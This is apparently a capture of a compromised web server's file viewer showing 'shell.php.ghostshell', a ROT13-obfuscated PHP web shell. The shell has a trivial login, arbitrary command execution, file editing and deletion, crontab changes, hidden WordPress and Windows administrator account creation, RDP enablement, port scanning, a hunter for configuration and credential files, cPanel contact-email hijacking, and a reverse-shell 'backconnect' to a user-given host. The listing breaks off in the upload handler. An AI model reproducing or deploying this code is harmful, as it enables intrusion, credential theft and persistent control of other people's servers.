HEX
Server: Apache
System: Linux bd12.noc223.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: handcraf (1693)
PHP: 8.1.28
Disabled: NONE
$ pwd: /home/handcraf/www/
Upload Files
File: //home/handcraf/www/shell.php.ghostshell
<?cuc
frffvba_fgneg();
reebe_ercbegvat(0);

// Ybtva Pbasvthengvba - PUNATR GURFR!
$inyvq_hfreanzr = "n";
$inyvq_cnffjbeq = "n";

// Purpx vs hfre vf ybttrq va
shapgvba vfYbttrqVa() {
    erghea vffrg($_FRFFVBA['ybttrqva']) && $_FRFFVBA['ybttrqva'] === gehr;
}

// Unaqyr ybtva
vs (vffrg($_CBFG['ybtva'])) {
    $hfreanzr = $_CBFG['hfreanzr'] ?? '';
    $cnffjbeq = $_CBFG['cnffjbeq'] ?? '';
    
    vs ($hfreanzr === $inyvq_hfreanzr && $cnffjbeq === $inyvq_cnffjbeq) {
        $_FRFFVBA['ybttrqva'] = gehr;
        $_FRFFVBA['hfreanzr'] = $hfreanzr;
        $_FRFFVBA['ybtva_gvzr'] = gvzr();
        $_FRFFVBA['vc_nqqerff'] = $_FREIRE['ERZBGR_NQQE'];
        urnqre('Ybpngvba: ' . $_FREIRE['CUC_FRYS']);
        rkvg;
    } ryfr {
        $ybtva_reebe = "Vainyvq hfreanzr be cnffjbeq!";
    }
}

// Unaqyr ybtbhg
vs (vffrg($_TRG['ybtbhg'])) {
    frffvba_qrfgebl();
    urnqre('Ybpngvba: ' . $_FREIRE['CUC_FRYS']);
    rkvg;
}

// Nhgb-ybtbhg nsgre 1 ubhe bs vanpgvivgl
vs (vfYbttrqVa() && (gvzr() - $_FRFFVBA['ybtva_gvzr']) > 3600) {
    frffvba_qrfgebl();
    urnqre('Ybpngvba: ' . $_FREIRE['CUC_FRYS']);
    rkvg;
}

// Vs abg ybttrq va, fubj ybtva cntr
vs (!vfYbttrqVa()) {
    ?>
    <!QBPGLCR ugzy>
    <ugzy>
    <urnq>
        <gvgyr>Hayvzvgrq Furyy - Ybtva</gvgyr>
        <zrgn punefrg="HGS-8">
        <yvax uers="uggcf://sbagf.tbbtyrncvf.pbz/pff2?snzvyl=Ebobgb+Zbab:jtug@300;400;500;700&snzvyl=Vagre:jtug@300;400;500;600;700&qvfcynl=fjnc" ery="fglyrfurrg">
        <yvax ery="fglyrfurrg" uers="uggcf://pqawf.pybhqsyner.pbz/nwnk/yvof/sbag-njrfbzr/6.4.0/pff/nyy.zva.pff">
        <fglyr>
            * { 
                znetva: 0; 
                cnqqvat: 0; 
                obk-fvmvat: obeqre-obk; 
            }
            
            obql { 
                onpxtebhaq-pbybe: oynpx;
                sbag-snzvyl: 'Vagre', fnaf-frevs;
                qvfcynl: syrk;
                whfgvsl-pbagrag: pragre;
                nyvta-vgrzf: pragre;
                zva-urvtug: 100iu;
                pbybe: #333;
            }
            
            .ybtva-pbagnvare {
                onpxtebhaq: eton(255, 255, 255, 0.95);
                cnqqvat: 40ck;
                obeqre-enqvhf: 15ck;
                obk-funqbj: 0 15ck 35ck eton(0, 0, 0, 0.1);
                jvqgu: 100%;
                znk-jvqgu: 400ck;
                onpxqebc-svygre: oyhe(10ck);
            }
            
            .ybtva-urnqre {
                grkg-nyvta: pragre;
                znetva-obggbz: 30ck;
            }
            
            .ybtva-urnqre u1 {
                pbybe: #2p3r50;
                znetva-obggbz: 10ck;
                sbag-fvmr: 28ck;
            }
            
            .ybtva-urnqre c {
                pbybe: #7s8p8q;
                sbag-fvmr: 14ck;
            }
            
            .sbez-tebhc {
                znetva-obggbz: 20ck;
            }
            
            .sbez-tebhc ynory {
                qvfcynl: oybpx;
                znetva-obggbz: 8ck;
                sbag-jrvtug: 500;
                pbybe: #2p3r50;
            }
            
            .sbez-tebhc vachg {
                jvqgu: 100%;
                cnqqvat: 12ck 15ck;
                obeqre: 2ck fbyvq #r1r8rq;
                obeqre-enqvhf: 8ck;
                sbag-fvmr: 14ck;
                genafvgvba: nyy 0.3f rnfr;
                onpxtebhaq: #sss;
            }
            
            .sbez-tebhc vachg:sbphf {
                bhgyvar: abar;
                obeqre-pbybe: #3498qo;
                obk-funqbj: 0 0 0 3ck eton(52, 152, 219, 0.1);
            }
            
            .ybtva-oga {
                jvqgu: 100%;
                onpxtebhaq: yvarne-tenqvrag(135qrt, #3498qo, #2980o9);
                pbybe: juvgr;
                obeqre: abar;
                cnqqvat: 12ck;
                obeqre-enqvhf: 8ck;
                sbag-fvmr: 16ck;
                sbag-jrvtug: 600;
                phefbe: cbvagre;
                genafvgvba: nyy 0.3f rnfr;
            }
            
            .ybtva-oga:ubire {
                genafsbez: genafyngrL(-2ck);
                obk-funqbj: 0 5ck 15ck eton(52, 152, 219, 0.3);
            }
            
            .reebe-zrffntr {
                onpxtebhaq: #r74p3p;
                pbybe: juvgr;
                cnqqvat: 10ck;
                obeqre-enqvhf: 5ck;
                znetva-obggbz: 20ck;
                grkg-nyvta: pragre;
                sbag-fvmr: 14ck;
            }
            
            .frphevgl-abgvpr {
                onpxtebhaq: #s8s9sn;
                obeqre: 1ck fbyvq #r1r8rq;
                obeqre-enqvhf: 8ck;
                cnqqvat: 15ck;
                znetva-gbc: 20ck;
                sbag-fvmr: 12ck;
                pbybe: #7s8p8q;
            }
            
            .vzntr-pbagnvare {
                jvqgu: 100%;
                urvtug: 80ck;
                obeqre-enqvhf: 8ck;
                biresybj: uvqqra;
                znetva-obggbz: 20ck;
            }
            
            .shyy-fvmr-vzntr {
                jvqgu: 100%;
                urvtug: 100%;
                bowrpg-svg: pbire;
            }
        </fglyr>
    </urnq>
    <obql>
        <qvi pynff="ybtva-pbagnvare">
            <qvi pynff="vzntr-pbagnvare">
                <vzt fep="uggcf://n.gbc4gbc.vb/c_356308zl91.tvs" nyg="Hayvzvgrq Furyy" pynff="shyy-fvmr-vzntr">
            </qvi>
            
            <qvi pynff="ybtva-urnqre">
                <u1><v pynff="snf sn-grezvany"></v> Hayvzvgrq</u1>
                <c>Frpher Npprff Erdhverq</c>
            </qvi>
            
            <?cuc vs (vffrg($ybtva_reebe)): ?>
                <qvi pynff="reebe-zrffntr">
                    <v pynff="snf sn-rkpynzngvba-gevnatyr"></v> <?cuc rpub $ybtva_reebe; ?>
                </qvi>
            <?cuc raqvs; ?>
            
            <sbez zrgubq="cbfg">
                <qvi pynff="sbez-tebhc">
                    <ynory sbe="hfreanzr"><v pynff="snf sn-hfre"></v> Hfreanzr</ynory>
                    <vachg glcr="grkg" vq="hfreanzr" anzr="hfreanzr" erdhverq nhgbsbphf>
                </qvi>
                
                <qvi pynff="sbez-tebhc">
                    <ynory sbe="cnffjbeq"><v pynff="snf sn-ybpx"></v> Cnffjbeq</ynory>
                    <vachg glcr="cnffjbeq" vq="cnffjbeq" anzr="cnffjbeq" erdhverq>
                </qvi>
                
                <ohggba glcr="fhozvg" anzr="ybtva" pynff="ybtva-oga">
                    <v pynff="snf sn-fvta-va-nyg"></v> Ybtva
                </ohggba>
            </sbez>
        </qvi>
    </obql>
    </ugzy>
    <?cuc
    rkvg;
}

// ZNVA FURYY PBQR FGNEGF
$pheerag_qve = vffrg($_TRG['qve']) ? $_TRG['qve'] : '.';
vs (!vf_qve($pheerag_qve)) {
    $pheerag_qve = '.';
}

$ubzr_qve = ernycngu(qveanzr(__SVYR__));

// Unaqyr NWNK npgvbaf
vs (vffrg($_CBFG['nwnk'])) {
    urnqre('Pbagrag-Glcr: nccyvpngvba/wfba');
    
    vs (vffrg($_CBFG['npgvba'])) {
        fjvgpu ($_CBFG['npgvba']) {
            pnfr 'rkrphgr_pbzznaq':
                $bhgchg = [];
                $erghea_ine = 0;
                @rkrp($_CBFG['pbzznaq'] . ' 2>&1', $bhgchg, $erghea_ine);
                rpub wfba_rapbqr([
                    'fhpprff' => gehr,
                    'pbzznaq' => $_CBFG['pbzznaq'],
                    'bhgchg' => vzcybqr("\a", $bhgchg),
                    'erghea_ine' => $erghea_ine
                ]);
                rkvg;
                
            pnfr 'trg_svyr_pbagrag':
                vs (vffrg($_CBFG['svyrcngu']) && svyr_rkvfgf($_CBFG['svyrcngu']) && !vf_qve($_CBFG['svyrcngu'])) {
                    rpub wfba_rapbqr([
                        'fhpprff' => gehr,
                        'pbagrag' => svyr_trg_pbagragf($_CBFG['svyrcngu'])
                    ]);
                } ryfr {
                    rpub wfba_rapbqr([
                        'fhpprff' => snyfr,
                        'reebe' => 'Svyr abg sbhaq'
                    ]);
                }
                rkvg;
                
            pnfr 'fnir_svyr_pbagrag':
                vs (vffrg($_CBFG['svyrcngu']) && vffrg($_CBFG['pbagrag'])) {
                    vs (svyr_chg_pbagragf($_CBFG['svyrcngu'], $_CBFG['pbagrag']) !== snyfr) {
                        rpub wfba_rapbqr(['fhpprff' => gehr]);
                    } ryfr {
                        rpub wfba_rapbqr(['fhpprff' => snyfr, 'reebe' => 'Snvyrq gb fnir svyr']);
                    }
                }
                rkvg;
                
            pnfr 'ivrj_pebagno':
                $bhgchg = [];
                @rkrp('pebagno -y 2>&1', $bhgchg, $erghea_ine);
                vs ($erghea_ine !== 0) {
                    rpub wfba_rapbqr([
                        'fhpprff' => snyfr,
                        'bhgchg' => "Ab pebagno sbe pheerag hfre be reebe ernqvat pebagno\a" . vzcybqr("\a", $bhgchg)
                    ]);
                } ryfr {
                    rpub wfba_rapbqr([
                        'fhpprff' => gehr,
                        'bhgchg' => vzcybqr("\a", $bhgchg)
                    ]);
                }
                rkvg;
                
            pnfr 'fnir_pebagno':
                vs (vffrg($_CBFG['pebagno_pbagrag'])) {
                    $grzc_svyr = grzcanz(flf_trg_grzc_qve(), 'pebagno');
                    svyr_chg_pbagragf($grzc_svyr, $_CBFG['pebagno_pbagrag']);
                    @rkrp('pebagno ' . rfpncrfuryynet($grzc_svyr) . ' 2>&1', $bhgchg, $erghea_ine);
                    @hayvax($grzc_svyr);
                    
                    vs ($erghea_ine === 0) {
                        rpub wfba_rapbqr([
                            'fhpprff' => gehr,
                            'bhgchg' => "Pebagno hcqngrq fhpprffshyyl!"
                        ]);
                    } ryfr {
                        rpub wfba_rapbqr([
                            'fhpprff' => snyfr,
                            'bhgchg' => "Reebe hcqngvat pebagno: " . vzcybqr("\a", $bhgchg)
                        ]);
                    }
                }
                rkvg;

            pnfr 'nqq_jc_hfre':
                $hfreanzr = $_CBFG['hfreanzr'] ?? '';
                $cnffjbeq = $_CBFG['cnffjbeq'] ?? '';
                $rznvy = $_CBFG['rznvy'] ?? '';
                $ebyr = $_CBFG['ebyr'] ?? 'fhofpevore';
                $jc_pbasvt_cngu = $_CBFG['jc_pbasvt_cngu'] ?? '';
                
                vs (!$hfreanzr || !$cnffjbeq || !$rznvy || !$jc_pbasvt_cngu) {
                    rpub wfba_rapbqr(['fhpprff' => snyfr, 'bhgchg' => 'Nyy svryqf ner erdhverq']);
                    rkvg;
                }
                
                $bhgchg = nqqJbeqCerffHfre($hfreanzr, $cnffjbeq, $rznvy, $ebyr, $jc_pbasvt_cngu);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'fpna_cbegf':
                $ubfg = $_CBFG['ubfg'] ?? 'ybpnyubfg';
                $cbegf = $_CBFG['cbegf'] ?? '21,22,23,25,53,80,110,115,135,139,143,194,443,445,993,995,1433,3306,3389,5432,5900,6379,27017';
                $bhgchg = fpnaCbegf($ubfg, $cbegf);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'fpna_jrofuryyf':
                $fpna_cngu = $_CBFG['fpna_cngu'] ?? '/ine/jjj';
                $bhgchg = fpnaJrofuryyf($fpna_cngu);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'qryrgr_jrofuryy':
                $svyr_cngu = $_CBFG['svyr_cngu'] ?? '';
                vs ($svyr_cngu && svyr_rkvfgf($svyr_cngu)) {
                    vs (hayvax($svyr_cngu)) {
                        rpub wfba_rapbqr(['fhpprff' => gehr, 'bhgchg' => 'Svyr qryrgrq fhpprffshyyl']);
                    } ryfr {
                        rpub wfba_rapbqr(['fhpprff' => snyfr, 'bhgchg' => 'Snvyrq gb qryrgr svyr']);
                    }
                } ryfr {
                    rpub wfba_rapbqr(['fhpprff' => snyfr, 'bhgchg' => 'Svyr abg sbhaq']);
                }
                rkvg;

            pnfr 'trg_jrofuryy_pbqr':
                $svyr_cngu = $_CBFG['svyr_cngu'] ?? '';
                vs ($svyr_cngu && svyr_rkvfgf($svyr_cngu)) {
                    $pbagrag = svyr_trg_pbagragf($svyr_cngu);
                    rpub wfba_rapbqr(['fhpprff' => gehr, 'pbagrag' => $pbagrag]);
                } ryfr {
                    rpub wfba_rapbqr(['fhpprff' => snyfr, 'reebe' => 'Svyr abg sbhaq']);
                }
                rkvg;

            pnfr 'onpxpbaarpg':
                $ubfg = $_CBFG['ubfg'] ?? '';
                $cbeg = $_CBFG['cbeg'] ?? '4444';
                $bhgchg = onpxpbaarpg($ubfg, $cbeg);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'fpna_pbasvt_svyrf':
                $fpna_cngu = $_CBFG['fpna_cngu'] ?? '/ine/jjj';
                $bhgchg = fpnaPbasvtSvyrf($fpna_cngu);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'erfrg_pcnary':
                $rznvy = $_CBFG['rznvy'] ?? '';
                $bhgchg = erfrgPcnary($rznvy);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'mvc_svyrf':
                $svyrf = $_CBFG['svyrf'] ?? [];
                $mvc_anzr = $_CBFG['mvc_anzr'] ?? 'nepuvir.mvc';
                $bhgchg = perngrMvc($svyrf, $mvc_anzr, $pheerag_qve);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'hamvc_svyr':
                $mvc_svyr = $_CBFG['mvc_svyr'] ?? '';
                $rkgenpg_cngu = $_CBFG['rkgenpg_cngu'] ?? '';
                $bhgchg = rkgenpgMvc($mvc_svyr, $rkgenpg_cngu);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'nqq_eqc_hfre':
                $hfreanzr = $_CBFG['hfreanzr'] ?? '';
                $cnffjbeq = $_CBFG['cnffjbeq'] ?? '';
                $bhgchg = nqqEqcHfre($hfreanzr, $cnffjbeq);
                rpub wfba_rapbqr($bhgchg);
                rkvg;

            pnfr 'ranoyr_eqc':
                $bhgchg = ranoyrEqc();
                rpub wfba_rapbqr($bhgchg);
                rkvg;
        }
    }
    rkvg;
}

// JbeqCerff Hfre Shapgvba
shapgvba nqqJbeqCerffHfre($hfreanzr, $cnffjbeq, $rznvy, $ebyr, $jc_pbasvt_cngu) {
    vs (!svyr_rkvfgf($jc_pbasvt_cngu)) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'JbeqCerff pbasvt svyr abg sbhaq'];
    }
    
    $jc_qve = qveanzr($jc_pbasvt_cngu);
    $jc_ybnq = $jc_qve . '/jc-ybnq.cuc';
    
    vs (!svyr_rkvfgf($jc_ybnq)) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'JbeqCerff abg sbhaq va guvf qverpgbel'];
    }
    
    $fpevcg = "<?cuc
qrsvar('JC_HFR_GURZRF', snyfr);
erdhver_bapr('$jc_ybnq');

vs (!shapgvba_rkvfgf('jc_perngr_hfre')) {
    rpub 'JbeqCerff shapgvbaf abg ninvynoyr';
    rkvg;
}

\$hfre_vq = jc_perngr_hfre('$hfreanzr', '$cnffjbeq', '$rznvy');
vs (vf_jc_reebe(\$hfre_vq)) {
    rpub 'Reebe: ' . \$hfre_vq->trg_reebe_zrffntr();
} ryfr {
    \$hfre = arj JC_Hfre(\$hfre_vq);
    \$hfre->frg_ebyr('$ebyr');
    rpub 'Hfre $hfreanzr perngrq fhpprffshyyl jvgu ebyr: $ebyr';
}
?>";
    
    $grzc_fpevcg = grzcanz(flf_trg_grzc_qve(), 'jc_hfre_');
    svyr_chg_pbagragf($grzc_fpevcg, $fpevcg);
    
    $bhgchg = [];
    rkrp("cuc " . rfpncrfuryynet($grzc_fpevcg) . " 2>&1", $bhgchg);
    hayvax($grzc_fpevcg);
    
    erghea ['fhpprff' => gehr, 'bhgchg' => vzcybqr("\a", $bhgchg)];
}

// Cbeg Fpnaare Shapgvba
shapgvba fpnaCbegf($ubfg, $cbegf) {
    $cbeg_yvfg = rkcybqr(',', $cbegf);
    $erfhygf = [];
    
    sbernpu ($cbeg_yvfg nf $cbeg) {
        $cbeg = gevz($cbeg);
        $pbaarpgvba = @sfbpxbcra($ubfg, $cbeg, $reeab, $reefge, 1);
        
        vs (vf_erfbhepr($pbaarpgvba)) {
            $erfhygf[] = "Cbeg $cbeg: BCRA";
            spybfr($pbaarpgvba);
        } ryfr {
            $erfhygf[] = "Cbeg $cbeg: PYBFRQ";
        }
    }
    
    erghea ['fhpprff' => gehr, 'bhgchg' => vzcybqr("\a", $erfhygf)];
}

// Jrofuryy Fpnaare Shapgvba
shapgvba fpnaJrofuryyf($cngu) {
    $jrofuryy_cnggreaf = [
        '/riny\f*\(.*onfr64_qrpbqr/',
        '/flfgrz\f*\(/',
        '/rkrp\f*\(/',
        '/furyy_rkrp\f*\(/',
        '/cnffgueh\f*\(/',
        '/cbcra\f*\(/',
        '/cebp_bcra/',
        '/`.*`/',
        '/nffreg\f*\(/',
        '/cert_ercynpr\f*\(.*\/r/',
        '/perngr_shapgvba/',
        '/svyr_chg_pbagragf\f*\(.*\$_/',
        '/svyr_trg_pbagragf\f*\(.*\$_/',
        '/phey_rkrp/',
        '/jtrg\f+/',
        '/cucvasb\f*\(/'
    ];
    
    $fhfcvpvbhf_svyrf = [];
    
    vs (!vf_qve($cngu)) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'Qverpgbel abg sbhaq'];
    }
    
    $vgrengbe = arj ErphefvirVgrengbeVgrengbe(
        arj ErphefvirQverpgbelVgrengbe($cngu, ErphefvirQverpgbelVgrengbe::FXVC_QBGF),
        ErphefvirVgrengbeVgrengbe::FRYS_SVEFG
    );
    
    sbernpu ($vgrengbe nf $svyr) {
        vs ($svyr->vfSvyr() && va_neenl($svyr->trgRkgrafvba(), ['cuc', 'cugzy', 'gkg', 'ugzy', 'ugz'])) {
            $pbagrag = svyr_trg_pbagragf($svyr->trgCnguanzr());
            $zngpurf = [];
            
            sbernpu ($jrofuryy_cnggreaf nf $cnggrea) {
                vs (cert_zngpu($cnggrea, $pbagrag)) {
                    $zngpurf[] = $cnggrea;
                }
            }
            
            vs (!rzcgl($zngpurf)) {
                $fhfcvpvbhf_svyrf[] = [
                    'cngu' => $svyr->trgCnguanzr(),
                    'cnggreaf' => $zngpurf,
                    'fvmr' => $svyr->trgFvmr()
                ];
            }
        }
    }
    
    erghea ['fhpprff' => gehr, 'svyrf' => $fhfcvpvbhf_svyrf];
}

// Onpxpbaarpg Shapgvba
shapgvba onpxpbaarpg($ubfg, $cbeg) {
    $fbpx = @sfbpxbcra($ubfg, $cbeg, $reeab, $reefge, 30);
    
    vs (!$fbpx) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => "Snvyrq gb pbaarpg: $reefge ($reeab)"];
    }
    
    sjevgr($fbpx, "Onpxpbaarpg rfgnoyvfurq sebz " . $_FREIRE['ERZBGR_NQQE'] . "\a");
    
    juvyr (!srbs($fbpx)) {
        sjevgr($fbpx, "$ ");
        $pzq = strgf($fbpx);
        
        vs (gevz($pzq) == 'rkvg') {
            oernx;
        }
        
        $bhgchg = furyy_rkrp($pzq);
        sjevgr($fbpx, $bhgchg);
    }
    
    spybfr($fbpx);
    erghea ['fhpprff' => gehr, 'bhgchg' => 'Onpxpbaarpg frffvba pbzcyrgrq'];
}

// Pbasvt Svyr Uhagre
shapgvba fpnaPbasvtSvyrf($cngu) {
    $pbasvt_cnggreaf = [
        'pbasvt.cuc',
        'pbasvthengvba.cuc',
        'jc-pbasvt.cuc',
        'pbasvt.vap.cuc',
        'frggvatf.cuc',
        '.rai',
        'pbasvt.wfba',
        'pbasvt.kzy',
        'qngnonfr.lzy',
        'qngnonfr.wfba',
        'ncc.pbasvt',
        'jro.pbasvt',
        'pbasvt.vav',
        '.ugcnffjq',
        '.ugnpprff'
    ];
    
    $sbhaq_svyrf = [];
    
    vs (!vf_qve($cngu)) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'Qverpgbel abg sbhaq'];
    }
    
    $vgrengbe = arj ErphefvirVgrengbeVgrengbe(
        arj ErphefvirQverpgbelVgrengbe($cngu, ErphefvirQverpgbelVgrengbe::FXVC_QBGF),
        ErphefvirVgrengbeVgrengbe::FRYS_SVEFG
    );
    
    sbernpu ($vgrengbe nf $svyr) {
        vs ($svyr->vfSvyr()) {
            $svyranzr = $svyr->trgSvyranzr();
            
            sbernpu ($pbasvt_cnggreaf nf $cnggrea) {
                vs (sazngpu($cnggrea, $svyranzr) || fgevcbf($svyranzr, 'pbasvt') !== snyfr) {
                    $sbhaq_svyrf[] = [
                        'cngu' => $svyr->trgCnguanzr(),
                        'fvmr' => $svyr->trgFvmr(),
                        'zbqvsvrq' => qngr('L-z-q U:v:f', $svyr->trgZGvzr())
                    ];
                    oernx;
                }
            }
        }
    }
    
    erghea ['fhpprff' => gehr, 'svyrf' => $sbhaq_svyrf];
}

// Erfrg pCnary Shapgvba
shapgvba erfrgPcnary($rznvy) {
    $pcnary_qve = '/ubzr/*/.pcnary/pbagnpgvasb';
    $pbagnpg_svyrf = tybo($pcnary_qve);
    
    vs (rzcgl($pbagnpg_svyrf)) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'Ab pCnary pbagnpgvasb svyrf sbhaq'];
    }
    
    $erfhygf = [];
    sbernpu ($pbagnpg_svyrf nf $svyr) {
        $pbagrag = "rznvy: $rznvy\a";
        vs (svyr_chg_pbagragf($svyr, $pbagrag) !== snyfr) {
            $erfhygf[] = "Hcqngrq: $svyr";
        } ryfr {
            $erfhygf[] = "Snvyrq: $svyr";
        }
    }
    
    erghea ['fhpprff' => gehr, 'bhgchg' => vzcybqr("\a", $erfhygf)];
}

// Mvc Shapgvba
shapgvba perngrMvc($svyrf, $mvc_anzr, $pheerag_qve) {
    vs (rzcgl($svyrf)) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'Ab svyrf fryrpgrq'];
    }
    
    $mvc_cngu = $pheerag_qve . '/' . $mvc_anzr;
    
    vs (pynff_rkvfgf('MvcNepuvir')) {
        $mvc = arj MvcNepuvir();
        vs ($mvc->bcra($mvc_cngu, MvcNepuvir::PERNGR) === GEHR) {
            sbernpu ($svyrf nf $svyr) {
                $svyr_cngu = $pheerag_qve . '/' . $svyr;
                vs (svyr_rkvfgf($svyr_cngu)) {
                    vs (vf_qve($svyr_cngu)) {
                        nqqSbyqreGbMvc($mvc, $svyr_cngu, $svyr);
                    } ryfr {
                        $mvc->nqqSvyr($svyr_cngu, $svyr);
                    }
                }
            }
            $mvc->pybfr();
            erghea ['fhpprff' => gehr, 'bhgchg' => "Mvc svyr perngrq: $mvc_cngu"];
        } ryfr {
            erghea ['fhpprff' => snyfr, 'bhgchg' => 'Snvyrq gb perngr mvc svyr'];
        }
    } ryfr {
        $svyrf_fge = vzcybqr(' ', neenl_znc('rfpncrfuryynet', $svyrf));
        $pbzznaq = "pq " . rfpncrfuryynet($pheerag_qve) . " && mvc -e " . rfpncrfuryynet($mvc_anzr) . " $svyrf_fge 2>&1";
        rkrp($pbzznaq, $bhgchg, $erghea_ine);
        
        vs ($erghea_ine === 0) {
            erghea ['fhpprff' => gehr, 'bhgchg' => "Mvc svyr perngrq: $mvc_cngu\a" . vzcybqr("\a", $bhgchg)];
        } ryfr {
            erghea ['fhpprff' => snyfr, 'bhgchg' => "Snvyrq gb perngr mvc svyr\a" . vzcybqr("\a", $bhgchg)];
        }
    }
}

shapgvba nqqSbyqreGbMvc($mvc, $sbyqre, $onfr_anzr) {
    $svyrf = fpnaqve($sbyqre);
    sbernpu ($svyrf nf $svyr) {
        vs ($svyr == '.' || $svyr == '..') pbagvahr;
        $svyr_cngu = $sbyqre . '/' . $svyr;
        $ybpny_cngu = $onfr_anzr . '/' . $svyr;
        
        vs (vf_qve($svyr_cngu)) {
            $mvc->nqqRzcglQve($ybpny_cngu);
            nqqSbyqreGbMvc($mvc, $svyr_cngu, $ybpny_cngu);
        } ryfr {
            $mvc->nqqSvyr($svyr_cngu, $ybpny_cngu);
        }
    }
}

// Hamvc Shapgvba
shapgvba rkgenpgMvc($mvc_svyr, $rkgenpg_cngu = ahyy) {
    vs (!svyr_rkvfgf($mvc_svyr)) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'Mvc svyr abg sbhaq'];
    }
    
    vs (!$rkgenpg_cngu) {
        $rkgenpg_cngu = qveanzr($mvc_svyr);
    }
    
    vs (!vf_qve($rkgenpg_cngu)) {
        zxqve($rkgenpg_cngu, 0755, gehr);
    }
    
    vs (pynff_rkvfgf('MvcNepuvir')) {
        $mvc = arj MvcNepuvir();
        vs ($mvc->bcra($mvc_svyr) === GEHR) {
            $mvc->rkgenpgGb($rkgenpg_cngu);
            $mvc->pybfr();
            erghea ['fhpprff' => gehr, 'bhgchg' => "Mvc svyr rkgenpgrq gb: $rkgenpg_cngu"];
        } ryfr {
            erghea ['fhpprff' => snyfr, 'bhgchg' => 'Snvyrq gb rkgenpg mvc svyr'];
        }
    } ryfr {
        $pbzznaq = "hamvc -b " . rfpncrfuryynet($mvc_svyr) . " -q " . rfpncrfuryynet($rkgenpg_cngu) . " 2>&1";
        rkrp($pbzznaq, $bhgchg, $erghea_ine);
        
        vs ($erghea_ine === 0) {
            erghea ['fhpprff' => gehr, 'bhgchg' => "Mvc svyr rkgenpgrq gb: $rkgenpg_cngu\a" . vzcybqr("\a", $bhgchg)];
        } ryfr {
            erghea ['fhpprff' => snyfr, 'bhgchg' => "Snvyrq gb rkgenpg mvc svyr\a" . vzcybqr("\a", $bhgchg)];
        }
    }
}

// EQC Shapgvbaf sbe Jvaqbjf
shapgvba nqqEqcHfre($hfreanzr, $cnffjbeq) {
    vs (fgegbhccre(fhofge(CUC_BF, 0, 3)) !== 'JVA') {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'Guvf srngher vf bayl ninvynoyr ba Jvaqbjf freiref'];
    }
    
    $bhgchg = [];
    $erghea_ine = 0;
    
    rkrp("arg hfre " . rfpncrfuryynet($hfreanzr) . " " . rfpncrfuryynet($cnffjbeq) . " /nqq 2>&1", $bhgchg, $erghea_ine);
    
    vs ($erghea_ine !== 0) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => "Snvyrq gb perngr hfre: " . vzcybqr("\a", $bhgchg)];
    }
    
    rkrp("arg ybpnytebhc nqzvavfgengbef " . rfpncrfuryynet($hfreanzr) . " /nqq 2>&1", $bhgchg, $erghea_ine);
    
    vs ($erghea_ine !== 0) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => "Hfre perngrq ohg snvyrq gb nqq gb nqzvavfgengbef: " . vzcybqr("\a", $bhgchg)];
    }
    
    erghea ['fhpprff' => gehr, 'bhgchg' => "Hfre $hfreanzr perngrq naq nqqrq gb nqzvavfgengbef tebhc"];
}

shapgvba ranoyrEqc() {
    vs (fgegbhccre(fhofge(CUC_BF, 0, 3)) !== 'JVA') {
        erghea ['fhpprff' => snyfr, 'bhgchg' => 'Guvf srngher vf bayl ninvynoyr ba Jvaqbjf freiref'];
    }
    
    $bhgchg = [];
    $erghea_ine = 0;
    
    rkrp('ert nqq "UXYZ\FLFGRZ\PheeragPbagebyFrg\Pbageby\Grezvany Freire" /i sQralGFPbaarpgvbaf /g ERT_QJBEQ /q 0 /s 2>&1', $bhgchg, $erghea_ine);
    
    vs ($erghea_ine !== 0) {
        erghea ['fhpprff' => snyfr, 'bhgchg' => "Snvyrq gb ranoyr EQC: " . vzcybqr("\a", $bhgchg)];
    }
    
    rkrp('argfu nqisverjnyy sverjnyy frg ehyr tebhc="erzbgr qrfxgbc" arj ranoyr=Lrf 2>&1', $bhgchg, $erghea_ine);
    
    erghea ['fhpprff' => gehr, 'bhgchg' => "EQC ranoyrq naq sverjnyy pbasvtherq"];
}

// Unaqyr abezny npgvbaf
vs (vffrg($_TRG['npgvba'])) {
    fjvgpu ($_TRG['npgvba']) {
        pnfr 'qbjaybnq':
            vs (vffrg($_TRG['svyr']) && svyr_rkvfgf($_TRG['svyr'])) {
                $svyr = $_TRG['svyr'];
                urnqre('Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz');
                urnqre('Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr="'.onfranzr($svyr).'"');
                ernqsvyr($svyr);
                rkvg;
            }
            oernx;
            
        pnfr 'qryrgr':
            vs (vffrg($_TRG['svyr'])) {
                vs (vf_qve($_TRG['svyr'])) {
                    @ezqve($_TRG['svyr']);
                } ryfr {
                    @hayvax($_TRG['svyr']);
                }
                urnqre('Ybpngvba: ?qve='.heyrapbqr($pheerag_qve));
                rkvg;
            }
            oernx;
            
        pnfr 'puzbq':
            vs (vffrg($_TRG['svyr']) && vffrg($_TRG['crez'])) {
                @puzbq($_TRG['svyr'], bpgqrp($_TRG['crez']));
                urnqre('Ybpngvba: ?qve='.heyrapbqr($pheerag_qve));
                rkvg;
            }
            oernx;
    }
}

vs (vffrg($_CBFG['npgvba']) && !vffrg($_CBFG['nwnk'])) {
    fjvgpu ($_CBFG['npgvba']) {
        pnfr 'hcybnq':
            vs (vffrg($_SVYRF['svyr']) && $_SVYRF['svyr']['reebe'] === 0) {
                $gnetrg = $pheerag_qve . '/' . $_SVYRF['svyr']['anzr'];
                @zbir_hcybnqrq_svyr($_SVYRF['svyr']['gzc_anzr'], $gnetrg);
